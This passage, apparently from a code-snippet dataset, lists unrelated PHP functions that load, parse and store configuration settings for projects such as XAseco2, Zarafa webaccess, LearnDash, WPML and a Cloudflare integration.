writemaplist output\n\t\t\tif (strtoupper($aseco['WRITEMAPLIST_RANDOM'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['writemaplist_random'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['writemaplist_random'] = false;\n\t\t\t}\n\n\t\t\t// add explanation to /help output\n\t\t\tif (strtoupper($aseco['HELP_EXPLANATION'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['help_explanation'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['help_explanation'] = false;\n\t\t\t}\n\n\t\t\t// color nicknames in the various /top... etc lists?\n\t\t\tif (strtoupper($aseco['LISTS_COLORNICKS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['lists_colornicks'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['lists_colornicks'] = false;\n\t\t\t}\n\n\t\t\t// color mapnames in the various /lists... lists?\n\t\t\tif (strtoupper($aseco['LISTS_COLORMAPS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['lists_colormaps'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['lists_colormaps'] = false;\n\t\t\t}\n\n\t\t\t// display checkpoints panel?\n\t\t\tif (strtoupper($aseco['DISPLAY_CHECKPOINTS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['display_checkpoints'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['display_checkpoints'] = false;\n\t\t\t}\n\n\t\t\t// enable /cpsspec command?\n\t\t\tif (strtoupper($aseco['ENABLE_CPSSPEC'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['enable_cpsspec'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['enable_cpsspec'] = false;\n\t\t\t}\n\n\t\t\t// automatically enable /cps for new players?\n\t\t\tif (strtoupper($aseco['AUTO_ENABLE_CPS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['auto_enable_cps'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['auto_enable_cps'] = false;\n\t\t\t}\n\n\t\t\t// automatically enable /dedicps for new players?\n\t\t\tif (strtoupper($aseco['AUTO_ENABLE_DEDICPS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['auto_enable_dedicps'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['auto_enable_dedicps'] = false;\n\t\t\t}\n\n\t\t\t// automatically add IP for new admins/operators?\n\t\t\tif (strtoupper($aseco['AUTO_ADMIN_ADDIP'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['auto_admin_addip'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['auto_admin_addip'] = false;\n\t\t\t}\n\n\t\t\t// automatically force spectator on player using /afk ?\n\t\t\tif (strtoupper($aseco['AFK_FORCE_SPEC'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['afk_force_spec'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['afk_force_spec'] = false;\n\t\t\t}\n\n\t\t\t// provide clickable buttons in lists?\n\t\t\tif (strtoupper($aseco['CLICKABLE_LISTS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['clickable_lists'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['clickable_lists'] = false;\n\t\t\t}\n\n\t\t\t// show logins in /recs?\n\t\t\tif (strtoupper($aseco['SHOW_REC_LOGINS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['show_rec_logins'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['show_rec_logins'] = false;\n\t\t\t}\n\n\t\t\t// display individual stats panels at scoreboard?\n\t\t\tif (strtoupper($aseco['SB_STATS_PANELS'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['sb_stats_panels'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['sb_stats_panels'] = false;\n\t\t\t}\n\n\t\t\t// read the XML structure into an array\n\t\t\t$tmserver = $settings['SETTINGS']['TMSERVER'][0];\n\n\t\t\t// read settings and apply them\n\t\t\t$this->server->login = $tmserver['LOGIN'][0];\n\t\t\t$this->server->pass = $tmserver['PASSWORD'][0];\n\t\t\t$this->server->port = $tmserver['PORT'][0];\n\t\t\t$this->server->ip = $tmserver['IP'][0];\n\t\t\tif (isset($tmserver['TIMEOUT'][0])) {\n\t\t\t\t$this->server->timeout = (int)$tmserver['TIMEOUT'][0];\n\t\t\t} else {\n\t\t\t\t$this->server->timeout = null;\n\t\t\t\ttrigger_error('Server init timeout not specified in config.xml !', E_USER_WARNING);\n\t\t\t}\n\n\t\t\t// initialise default window style\n\t\t\t$style_file = 'styles/' . $this->settings['window_style'] . '.xml';\n\t\t\t$this->console_text('[XAseco2] Load default window style [{1}]', $style_file);\n\t\t\t// load default style\n\t\t\tif (($this->style = $this->xml_parser->parseXml($style_file)) && isset($this->style['STYLES'])) {\n\t\t\t\t$this->style = $this->style['STYLES'];\n\t\t\t} else {\n\t\t\t\t// Could not parse XML file\n\t\t\t\ttrigger_error('Could not read/parse style file ' . $style_file . ' !', E_USER_ERROR);\n\t\t\t}\n\n\t\t\t// initialise default panel background\n\t\t\t$panelbg_file = 'panels/' . $this->settings['panel_bg'] . '.xml';\n\t\t\t$this->console_text('[XAseco2] Load default panel background [{1}]', $panelbg_file);\n\t\t\t// load default background\n\t\t\tif (($this->panelbg = $this->xml_parser->parseXml($panelbg_file)) && isset($this->panelbg['PANEL']['BACKGROUND'][0])) {\n\t\t\t\t$this->panelbg = $this->panelbg['PANEL']['BACKGROUND'][0];\n\t\t\t} else {\n\t\t\t\t// Could not parse XML file\n\t\t\t\ttrigger_error('Could not read/parse panel background file ' . $panelbg_file . ' !', E_USER_ERROR);\n\t\t\t}\n\n\t\t\t$this->panels = array();\n\t\t\t$this->panels['admin'] = '';\n\t\t\t$this->panels['donate'] = '';\n\t\t\t$this->panels['records'] = '';\n\t\t\t$this->panels['vote'] = '';\n\n\t\t\tif ($this->settings['admin_client'] != '' &&\n\t\t\t preg_match('/^2\\.11\\.[12][0-9]$/', $this->settings['admin_client']) != 1 ||\n\t\t\t $this->settings['admin_client'] == '2.11.10')\n\t\t\t\ttrigger_error('Invalid admin client version : ' . $this->settings['admin_client'] . ' !', E_USER_ERROR);\n\t\t\tif ($this->settings['player_client'] != '' &&\n\t\t\t preg_match('/^2\\.11\\.[12][0-9]$/', $this->settings['player_client']) != 1 ||\n\t\t\t $this->settings['player_client'] == '2.11.10')\n\t\t\t\ttrigger_error('Invalid player client version: ' . $this->settings['player_client'] . ' !', E_USER_ERROR);\n\t\t} else {\n\t\t\t// could not parse XML file\n\t\t\ttrigger_error('Could not read/parse config file ' . $config_file . ' !', E_USER_ERROR);\n\t\t}\n\t}", "public function processConfiguration() {}", "function retrieveSettings()\n\t\t{\t\n\t\t\t$this->settings = array();\n\t\t\t// first retrieve the \"external\" settings\n\t\t\t$this->retrieveExternalSettings();\n\t\t\t// read the settings property\n\t\t\t$stream = mapi_openpropertytostream($this->store, PR_EC_WEBACCESS_SETTINGS);\n\t\t\tif ($stream == false) {\n\t\t\t\treturn ;\n\t\t\t}\n\n\t\t\t$stat = mapi_stream_stat($stream);\n\t\t\tmapi_stream_seek($stream, 0, STREAM_SEEK_SET);\n\t\t\t$settings_string = '';\n\t\t\tfor($i=0;$i<$stat['cb'];$i+=1024){\n\t\t\t\t$settings_string .= mapi_stream_read($stream, 1024);\n\t\t\t}\n\t\t\t\n\t\t\t// suppress php notice in case unserializing fails\n\t\t\t$settings = @unserialize($settings_string);\n\n\t\t\tif (!$settings){ // backwards compatible with old saving method using XML\n\t\t\t\t$xml = new XMLParser();\n\t\t\t\t$settings = $xml->getData($settings_string);\n\t\t\t}\n\n\t\t\tif (is_array($settings) && isset($settings['settings']) && is_array($settings['settings'])){\n\t\t\t\t$this->settings = array_merge_recursive_overwrite($settings['settings'],$this->settings);\n\t\t\t}\n\t\t}", "function loadSettings($config_file) {\n\n\t\tif ($settings = $this->xml_parser->parseXml($config_file)) {\n\n\t\t\t// read the xml structure into an array ...\n\t\t\t$aseco = $settings['SETTINGS']['ASECO'][0];\n\n\t\t\t// read settings and apply them ...\n\t\t\t$this->masterserver->login = $aseco['LOGIN'][0];\n\t\t\t$this->masterserver->pass = $aseco['PASSWORD'][0];\n\t\t\t$this->masterserver->ip = $aseco['SERVERIP'][0];\n\t\t\t$this->masterserver->port = $aseco['SERVERPORT'][0];\n\t\t\t$this->chat_colors = $aseco['COLORS'][0];\n\t\t\t$this->chat_messages = $aseco['MESSAGES'][0];\n\t\t\t$this->admin_list = $aseco['ADMINS'][0];\n\n\t\t\t// set script timeout ...\n\t\t\t$this->settings['script_timeout'] = $aseco['SCRIPT_TIMEOUT'][0];\n\n\t\t\t// display welcome message as window ?\n\t\t\tif (strtoupper($aseco['WELCOME_MSG_WINDOW'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['welcome_msg_window'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['welcome_msg_window'] = false;\n\t\t\t}\n\n\t\t\t// read the xml structure into an array ...\n\t\t\t$tmserver = $settings['SETTINGS']['TMSERVER'][0];\n\n\t\t\t// read settings and apply them ...\n\t\t\t$this->server->login = $tmserver['LOGIN'][0];\n\t\t\t$this->server->pass = $tmserver['PASSWORD'][0];\n\t\t\t$this->server->port = $tmserver['PORT'][0];\n\t\t\t$this->server->ip = $tmserver['IP'][0];\n\n\t\t\t// settings loaded ...\n\t\t\treturn true;\n\n\t\t} else {\n\n\t\t\t// Could not parse XML file ...\n\t\t\ttrigger_error('You\\'ve got an XML error in you Aseco config file!');\n\t\t\treturn false;\n\t\t}\n\t}", "public function loadSettings()\n {\n // old Alfred v4 settings\n $settings = \\Alfred\\getVariables(self::$settingsArgs);\n\n\n if (\\Alfred\\getAlfredVersion() >= 5) {\n $new_settings = \\Alfred\\getVariables(self::$settingsArgsV5);\n\n if (!empty($settings['language']) && $settings['language'] !== 'en_EN' && $new_settings['language'] !== 'en_EN') {\n $settings['language'] = $new_settings['language'];\n }\n if (empty($settings['language'])) {\n $settings['language'] = $new_settings['language'];\n }\n if (!empty($new_settings['timezone']) && $new_settings['timezone'] !== 'none') {\n $settings['time_zone'] = $new_settings['timezone'];\n }\n if (!empty($new_settings['base_currencies'])) {\n $settings['base_currency'] = str_replace(' ', '', $new_settings['base_currencies']);\n $settings['base_currency'] = explode(',', $settings['base_currency']);\n }\n if (!empty($new_settings['apikey_fixer'])) {\n $settings['fixer_apikey'] = $new_settings['apikey_fixer'];\n }\n if (!empty($new_settings['apikey_coinmarket'])) {\n $settings['coinmarket_apikey'] = $new_settings['apikey_coinmarket'];\n }\n if (!empty($new_settings['crypto_decimals'])) {\n $settings['crypto_decimals'] = $new_settings['crypto_decimals'];\n }\n if (!empty($new_settings['vat_value'])) {\n $settings['vat_percentage'] = $new_settings['vat_value'];\n }\n if (!empty($new_settings['pixels_base'])) {\n $settings['base_pixels'] = $new_settings['pixels_base'];\n }\n if (\n !empty($new_settings['date_format']) && $new_settings['date_format'] !== 'j F, Y, g:i:s a' ||\n empty($settings['time_format'])\n ) {\n $settings['time_format'] = $new_settings['date_format'];\n if (is_string($settings['time_format'])) {\n $settings['time_format'] = explode('|', $new_settings['date_format']);\n }\n }\n if (!empty($new_settings['number_output_format'])) {\n $settings['number_output_format'] = $new_settings['number_output_format'];\n }\n if (!empty($new_settings['currency_decimals'])) {\n $settings['currency_decimals'] = $new_settings['currency_decimals'];\n }\n }\n\n return $settings;\n }", "protected function process()\r\n\t{\r\n\t\t$this->authentication_sources[\"guest\"] = \"guest\";\t\t\r\n\t\t\r\n\t\tforeach ( $this->xml->configuration->config as $config )\r\n\t\t{\r\n\t\t\t// server specific config,\r\n\t\t\t// e.g., only a test server\r\n\t\t\t\t\r\n\t\t\t$host = (string) $config[\"host\"];\r\n\t\t\t\t\r\n\t\t\tif ( $host != \"\" && isset($_SERVER) )\r\n\t\t\t{\r\n\t\t\t\t// nope not this server, so skip it\r\n\t\t\r\n\t\t\t\tif ($host != $_SERVER['SERVER_NAME'] && $host != $_SERVER['SERVER_ADDR'] )\r\n\t\t\t\t{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t// name\r\n\t\t\t\t\r\n\t\t\t$name = Parser::strtoupper( $config[\"name\"] );\r\n\t\t\t$lang = (string) $config[\"lang\"];\r\n\t\t\t\t\r\n\t\t\tif ( $lang != \"\" && $lang != $this->initDefaultLanguage() )\r\n\t\t\t{\r\n\t\t\t\t$name .= \"_$lang\";\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\tif ( $config[\"xml\"] == \"true\" )\r\n\t\t\t{\r\n\t\t\t\t// special XML config, already parsed as SimpleXML, leave it that way.\r\n\t\t\t\t$value = $config;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t//simple string\r\n\t\t\t\t \r\n\t\t\t\t$value = trim( ( string ) $config );\r\n\t\t\r\n\t\t\t\t// convert simple xml-encoded values to something easier\r\n\t\t\t\t// for the client code to digest\r\n\t\t\r\n\t\t\t\t$value = str_replace( \"&lt;\", \"<\", $value );\r\n\t\t\t\t$value = str_replace( \"&gt;\", \">\", $value );\r\n\t\t\t\t$value = str_replace( \"&amp;\", \"&\", $value );\r\n\t\t\t}\r\n\t\t\r\n\t\t\t// special logic for authentication_source because we can\r\n\t\t\t// have more than one.\r\n\t\t\r\n\t\t\tif ( $name == \"AUTHENTICATION_SOURCE\" )\r\n\t\t\t{\r\n\t\t\t\t$this->authentication_sources[( string ) $config[\"id\"]] = $value;\r\n\t\t\r\n\t\t\t\t// and don't overwrite the first one in our standard config array\r\n\t\t\r\n\t\t\t\tif ( ! empty( $this->arrConfig[\"AUTHENTICATION_SOURCE\"] ) )\r\n\t\t\t\t{\r\n\t\t\t\t\t$value = \"\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\r\n\t\t\tif (! empty($value) )\r\n\t\t\t{\r\n\t\t\t\t// add it to the config array\r\n\t\t\r\n\t\t\t\t$this->arrConfig[$name] = $value;\r\n\t\t\r\n\t\t\t\t// types that are listed as 'pass' will be forwarded\r\n\t\t\t\t// on to the xml layer for use in the view\r\n\t\t\r\n\t\t\t\tif ( ( string ) $config[\"pass\"] == \"true\" )\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->arrPass[Parser::strtolower( $name )] = $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "protected function loadSettingsFromConfig() {\n\t\tif($total_limit = Configure::read('RateLimiter.totalLimit')) {\n\t\t\t$this->totalLimit = $this->rateLimitFromConfig($total_limit);\n\t\t}\n\t\tif($method_limits = Configure::read('RateLimiter.methodLimits')) {\n\t\t\t$this->methodLimits = $this->rateLimitFromConfig($method_limits);\n\t\t}\n\t\tif(Configure::read('RateLimiter.disable')) {\n\t\t\t$this->disable = true;\n\t\t}\n\t}", "private function parse($config) {\n\t\t$this->domain = $this->getDomainFromConfig($config);\n\n\t\t$this->configurations = $this->getSettingsFromConfig($config);\n\n\t\t$this->declarations = $this->getDeclarationsFromConfig($config);\n\t}", "private function setUpConfig() {\n\n //Get the file where the configs are and process the arrays\n require($this->_data['pathtodata']);\n\n $this->_data = array_merge($this->_data,$acs_confdata);\n\n if (empty($this->_data['indexfile']))\n $this->_data['indexfile'] = 'index';\n\n if (empty($this->_data['common_extension']))\n $this->_data['common_extension'] = COMMON_EXTENSION;\n \n $this->setUriData($this->_data); \n \n //Create the cache file of the config\n if (isset($this->_data['cache_config']) && $this->_data['cache_config'])\n $this->saveConfig();\n else\n if (file_exists($this->_data['cache_config_file']))\n unlink($this->_data['cache_config_file']); \n }", "public function load_config() {\n if (!isset($this->config)) {\n $settingspluginname = 'assessmentsettings';\n $this->config = get_config(\"local_$settingspluginname\");\n }\n }", "private function initializeSettings() {\r\n global $config;\r\n $this->settings = $config;\r\n $this->fileUploadPath = $this->settings[\"uploadFolder\"];\r\n $this->fileSavePath = $this->settings[\"downloadFolder\"];\r\n $this->currentLang = $this->settings[\"lang\"];\r\n $this->currentpage = 1;\r\n }", "public function load_settings_values() {\n\t\t\tparent::load_settings_values();\n\n\t\t\tif ( false === $this->setting_option_values ) {\n\t\t\t\t$this->setting_option_values = array();\n\n\t\t\t\t// On the initial if we don't have saved values we grab them from the Custom Labels.\n\t\t\t\t$custom_label_settings = get_option( 'learndash_custom_label_settings', array() );\n\n\t\t\t\tif ( ( isset( $custom_label_settings['courses'] ) ) && ( ! empty( $custom_label_settings['courses'] ) ) ) {\n\t\t\t\t\t$this->setting_option_values['courses'] = learndash_get_custom_label_slug( 'courses' );\n\t\t\t\t}\n\n\t\t\t\tif ( ( isset( $custom_label_settings['lessons'] ) ) && ( ! empty( $custom_label_settings['lessons'] ) ) ) {\n\t\t\t\t\t$this->setting_option_values['lessons'] = learndash_get_custom_label_slug( 'lessons' );\n\t\t\t\t}\n\n\t\t\t\tif ( ( isset( $custom_label_settings['topic'] ) ) && ( ! empty( $custom_label_settings['topic'] ) ) ) {\n\t\t\t\t\t$this->setting_option_values['topics'] = learndash_get_custom_label_slug( 'topic' );\n\t\t\t\t}\n\n\t\t\t\tif ( ( isset( $custom_label_settings['quizzes'] ) ) && ( ! empty( $custom_label_settings['quizzes'] ) ) ) {\n\t\t\t\t\t$this->setting_option_values['quizzes'] = learndash_get_custom_label_slug( 'quizzes' );\n\t\t\t\t}\n\n\t\t\t\t// As we don't have existing values we want to save here and force the flush rewrite.\n\t\t\t\tupdate_option( $this->settings_section_key, $this->setting_option_values );\n\t\t\t\tlearndash_setup_rewrite_flush();\n\t\t\t}\n\n\t\t\t$this->setting_option_values = wp_parse_args(\n\t\t\t\t$this->setting_option_values,\n\t\t\t\tarray(\n\t\t\t\t\t'courses' => 'courses',\n\t\t\t\t\t'lessons' => 'lessons',\n\t\t\t\t\t'topics' => 'topic',\n\t\t\t\t\t'quizzes' => 'quizzes',\n\t\t\t\t)\n\t\t\t);\n\t\t}", "public static function storeSettings($settings)\n\t{\n\t\t$registry = Registry::singleton();\n\t\t\n\t\tforeach ($settings as $key => $value) {\n\t\t\t$registry->_settings [ $key ] = $value;\n\t\t}\n\t}", "function process_config($config) {\n // Set to defaults if undefined\n if (!isset($config->wordpress_host)) {\n $config->wordpress_host = '';\n }\n if (!isset($config->client_key)) {\n $config->client_key = '';\n }\n if (!isset($config->client_secret)) {\n $config->client_secret = '';\n }\n set_config('wordpress_host', trim($config->wordpress_host), 'auth/wordpress');\n set_config('client_key', trim($config->client_key), 'auth/wordpress');\n set_config('client_secret', trim($config->client_secret), 'auth/wordpress');\n \n return true;\n }", "public function getBasicSettingsValues()\n\t{\n\t\t$values = array();\n\n\t\t$values[\"webspace_dir\"] = getcwd().\"/data\";\n\t\t$values[\"data_dir\"] = $this->setup->ini->readVariable(\"clients\",\"datadir\");\n\t\t$values[\"convert_path\"] = $this->setup->ini->readVariable(\"tools\",\"convert\");\n\t\t$values[\"zip_path\"] = $this->setup->ini->readVariable(\"tools\",\"zip\");\n\t\t$values[\"unzip_path\"] = $this->setup->ini->readVariable(\"tools\",\"unzip\");\n\t\t$values[\"ghostscript_path\"] = $this->setup->ini->readVariable(\"tools\",\"ghostscript\");\n\t\t$values[\"java_path\"] = $this->setup->ini->readVariable(\"tools\",\"java\");\n\t\t$values[\"htmldoc_path\"] = $this->setup->ini->readVariable(\"tools\",\"htmldoc\");\n\t\t//$values[\"mkisofs_path\"] = $this->setup->ini->readVariable(\"tools\",\"mkisofs\");\n\t\t$values[\"ffmpeg_path\"] = $this->setup->ini->readVariable(\"tools\",\"ffmpeg\");\n\t\t$values[\"latex_url\"] = $this->setup->ini->readVariable(\"tools\",\"latex\");\n\t\t$values[\"fop_path\"] = $this->setup->ini->readVariable(\"tools\",\"fop\");\n\t\t$values[\"vscanner_type\"] = $this->setup->ini->readVariable(\"tools\", \"vscantype\");\n\t\t$values[\"scan_command\"] = $this->setup->ini->readVariable(\"tools\", \"scancommand\");\n\t\t$values[\"clean_command\"] = $this->setup->ini->readVariable(\"tools\", \"cleancommand\");\n\t\t$values[\"log_path\"] = $this->setup->ini->readVariable(\"log\",\"path\").\"/\".\n\t\t\t$this->setup->ini->readVariable(\"log\",\"file\");\n\t\t$values[\"chk_log_status\"] = !$this->setup->ini->readVariable(\"log\",\"enabled\");\n\t\t$values[\"time_zone\"] = $this->setup->ini->readVariable(\"server\", \"timezone\");\n\t\t\n\t\t// https settings\n\t\t$values[\"auto_https_detect_enabled\"] = $this->setup->ini->readVariable(\"https\", \"auto_https_detect_enabled\");\n\t\t$values[\"auto_https_detect_header_name\"] = $this->setup->ini->readVariable(\"https\", \"auto_https_detect_header_name\");\n\t\t$values[\"auto_https_detect_header_value\"] = $this->setup->ini->readVariable(\"https\", \"auto_https_detect_header_value\");\n\n\t\t$this->form->setValuesByArray($values);\n\t}", "function _configSettings(&$model, $name) {\n $config = &$this->settings[$model->name][$name];\n\n # determine which allowed extensions to use\n if (empty($config['allowedExts'])) $config['allowedExts'] = array('*');\n\n # determine which allowed mime types to use\n if (empty($config['allowedMimes'])) $config['allowedMimes'] = array('*');\n\n # determine which maxSize to use\n if (empty($config['maxSize'])) $config['maxSize'] = $this->maxSize;\n\n # determine which overwrite to use\n if (isset($config['overwrite']) && !is_bool($config['overwrite'])) $config['overwrite'] = $this->overwrite;\n\n # determine which allowEmpty to use\n if (isset($config['allowEmpty']) && !is_bool($config['allowEmpty'])) $config['allowEmpty'] = $this->allowEmpty;\n\n # determine which required to use\n if (isset($config['required']) && !is_bool($config['required'])) $config['required'] = $this->required;\n }", "abstract protected function loadConfig();", "public function loadSettings()\n {\n $this->loadJSON($this->settings);\n }", "function setSettings($settings)\n {\n //You can use any method to keep track of settings during this session,\n //below is an example of re-using the member variable \"$settings\" to store\n //the settings, but you can just as easily store them in a var named config or\n //whatever.\n if (!is_array($settings)) {\n return false; //oops, settings are no good\n }\n foreach ($settings as $key => $value) {\n //set each setting, checking to make sure its all good first..\n if (isset($this->settings[$key])) {\n //valid setting, so set that setting.\n $this->settings[$key] = $value;\n }\n }\n }", "public function __construct(){\n\t\t$this->_file = BP.'/settings.ini';\n\t\t$config_file = $this->_file;\n\t\tif(!file_exists($config_file)){\n\t\t\tthrow new \\Exception('The file '. basename($config_file) .' does not existed or cannot readable permission, please check in '. BP);\n\t\t}\n\t\t$setting_content = '';\n\t\t//read line\n\t\t$this->_handle = fopen($config_file, \"r+\");\n\t\tif ($this->_handle) {\n\t\t\twhile (($line = fgets($this->_handle)) !== false) {\n\t\t\t\t// process the line read.\n\t\t\t\tif(strpos(trim($line), '#') === 0){\n\t\t\t\t\tcontinue; //ignore comment line\n\t\t\t\t}\n\t\t\t\t//connect string content\n\t\t\t\tif($line != ''){\t\t\t\n\t\t\t\t\t$setting_content .= $line;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfclose($this->_handle); //destroy handle file opening\n\t\t\t\n\t\t\t$this->_settings = json_decode($setting_content, true); //converted into associative arrays\n\t\t\tif($setting_content != '' && $this->_settings == null && ($json_error = json_last_error()) != JSON_ERROR_NONE){\n\t\t\t\tswitch ($json_error) {\n\t\t\t\t\tcase JSON_ERROR_NONE:\n\t\t\t\t\t\t$json_error = ''; // JSON is valid // No error has occurred\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase JSON_ERROR_DEPTH:\n\t\t\t\t\t\t$json_error = 'The maximum stack depth has been exceeded.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase JSON_ERROR_STATE_MISMATCH:\n\t\t\t\t\t\t$json_error = 'Invalid or malformed JSON.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase JSON_ERROR_CTRL_CHAR:\n\t\t\t\t\t\t$json_error = 'Control character error, possibly incorrectly encoded.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase JSON_ERROR_SYNTAX:\n\t\t\t\t\t\t$json_error = 'Syntax error, malformed JSON.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t// PHP >= 5.3.3\n\t\t\t\t\tcase JSON_ERROR_UTF8:\n\t\t\t\t\t\t$json_error = 'Malformed UTF-8 characters, possibly incorrectly encoded.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t// PHP >= 5.5.0\n\t\t\t\t\tcase JSON_ERROR_RECURSION:\n\t\t\t\t\t\t$json_error = 'One or more recursive references in the value to be encoded.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t// PHP >= 5.5.0\n\t\t\t\t\tcase JSON_ERROR_INF_OR_NAN:\n\t\t\t\t\t\t$json_error = 'One or more NAN or INF values in the value to be encoded.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase JSON_ERROR_UNSUPPORTED_TYPE:\n\t\t\t\t\t\t$json_error = 'A value of a type that cannot be encoded was given.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$json_error = 'Unknown JSON error occured.';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tthrow new \\Exception($json_error.PHP_EOL);\n\t\t\t}\n\t\t} else {\n\t\t\t// error opening the file.\n\t\t\tthrow new \\Exception('The file '. basename($config_file) .' opening error');\n\t\t}\n\t}", "protected function initConfiguration(){\n $settings = array(\n 'user' => 'bitshok',\n 'widget_id' => '355763562850942976',\n 'tweets_limit' => 3,\n 'follow_btn' => 'on'\n );\n Configuration::updateValue($this->name.'_settings', serialize($settings));\n }", "public function populateLocalConfiguration() {}", "private function read_config() {\n\t\t$sections = parse_ini_file($this->config['conf'], true);\n\t\tforeach ($sections as $sectionk => $sectionv) {\n\t\t\tforeach ($sectionv as $key => $var)\n\t\t\t\t$this->config[$sectionk . '.' . $key] = $var;\n\t\t}\n\t}", "public function run() {\n\t\t$config = $this->settings_array;\n\t\tforeach (\n\t\t\tarray(\n\t\t\t\t'post_meta_setting' => array(\n\t\t\t\t\tWPML_POST_META_CONFIG_INDEX_PLURAL,\n\t\t\t\t\tWPML_POST_META_CONFIG_INDEX_SINGULAR\n\t\t\t\t),\n\t\t\t\t'term_meta_setting' => array(\n\t\t\t\t\tWPML_TERM_META_CONFIG_INDEX_PLURAL,\n\t\t\t\t\tWPML_TERM_META_CONFIG_INDEX_SINGULAR\n\t\t\t\t)\n\t\t\t) as $setting_constructor => $settings\n\t\t) {\n\t\t\tif ( ! empty( $config[ $settings[0] ] ) ) {\n\t\t\t\t$field = $config[ $settings[0] ][ $settings[1] ];\n\t\t\t\t$cf = ! is_numeric( key( current( $config[ $settings[0] ] ) ) ) ? array( $field ) : $field;\n\t\t\t\tforeach ( $cf as $c ) {\n\t\t\t\t\t$setting = call_user_func_array( array(\n\t\t\t\t\t\t$this->setting_factory,\n\t\t\t\t\t\t$setting_constructor\n\t\t\t\t\t), array( trim( $c['value'] ) ) );\n\t\t\t\t\t$this->import_action( $c, $setting );\n\t\t\t\t\t$setting->make_read_only();\n\t\t\t\t\t$this->import_editor_settings( $c, $setting );\n\t\t\t\t\tif ( isset( $c[ 'attr' ][ 'translate_link_target' ] ) || isset( $c[ 'custom-field' ] ) ) {\n\t\t\t\t\t\t$setting->set_translate_link_target( isset( $c[ 'attr' ][ 'translate_link_target' ] ) ? (bool) $c[ 'attr' ][ 'translate_link_target' ] : false, isset( $c[ 'custom-field' ] ) ? $c[ 'custom-field' ] : array() );\n\t\t\t\t\t}\n\t\t\t\t\tif ( isset( $c[ 'attr' ][ 'convert_to_sticky' ] ) ) {\n\t\t\t\t\t\t$setting->set_convert_to_sticky( (bool) $c[ 'attr' ][ 'convert_to_sticky' ] );\n\t\t\t\t\t}\n\t\t\t\t\t$setting->set_encoding( Obj::path( [ 'attr', 'encoding' ], $c ) );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->import_custom_field_texts();\n\t}", "abstract protected function define_my_settings();", "public function syncSettings()\n {\n $zone = $this->getZone();\n if (isset($zone['id'])) {\n $settingsConnection = $this->getSettingConnection();\n $zoneSettings = $settingsConnection->settings($zone['id']);\n\n if (!isset($zoneSettings['result']['errors'])) {\n $result = [];\n foreach ($zoneSettings['result'] as $setting) {\n if (is_array($setting['value'])) {\n $result[$setting['id']] = $this->jsonHelper->jsonEncode($setting['value']);\n } else {\n $result[$setting['id']] = $setting['value'];\n }\n }\n\n $groupForSave = $this->internScope->getThreeScope($result, 'zone_settings');\n $configData = [\n 'section' => $this->internScope->getSection(),\n 'website' => $this->internScope->getCurrentWebsite(),\n 'store' => $this->internScope->getCurrentStore(),\n 'groups' => $groupForSave,\n ];\n\n $configModel = $this->_configFactory->create(['data' => $configData]);\n $configModel->save();\n\n return true;\n }\n }\n\n return false;\n }", "public function settings()\n {\n // Process any module settings you asked for.\n $apiKey = $this->getSanitizer()->getString('apiKey');\n $owmApiKey = $this->getSanitizer()->getString('owmApiKey');\n $owmIsPaidPlan = $this->getSanitizer()->getCheckbox('owmIsPaidPlan');\n $cachePeriod = $this->getSanitizer()->getInt('cachePeriod', 1440);\n\n if ($this->module->enabled != 0) {\n if ($apiKey == '' && $owmApiKey == '')\n throw new InvalidArgumentException(__('Missing API Key'), 'apiKey');\n\n if ($cachePeriod <= 0)\n throw new InvalidArgumentException(__('Cache period must be a positive number'), 'cachePeriod');\n }\n\n $this->module->settings['apiKey'] = $apiKey;\n $this->module->settings['owmApiKey'] = $owmApiKey;\n $this->module->settings['owmIsPaidPlan'] = $owmIsPaidPlan;\n $this->module->settings['cachePeriod'] = $cachePeriod;\n }", "public function localConfig();", "private static function setup() {\n if(!isset(self::$settings)) {\n require 'regain/global_settings.php';\n self::$settings = $settings;\n }\n }", "function phpkd_vblvb_xml_import_settings($xml = false)\n{\n\tglobal $vbulletin, $vbphrase;\n\n\tprint_dots_start('<strong>Importing Settings</strong>, ' 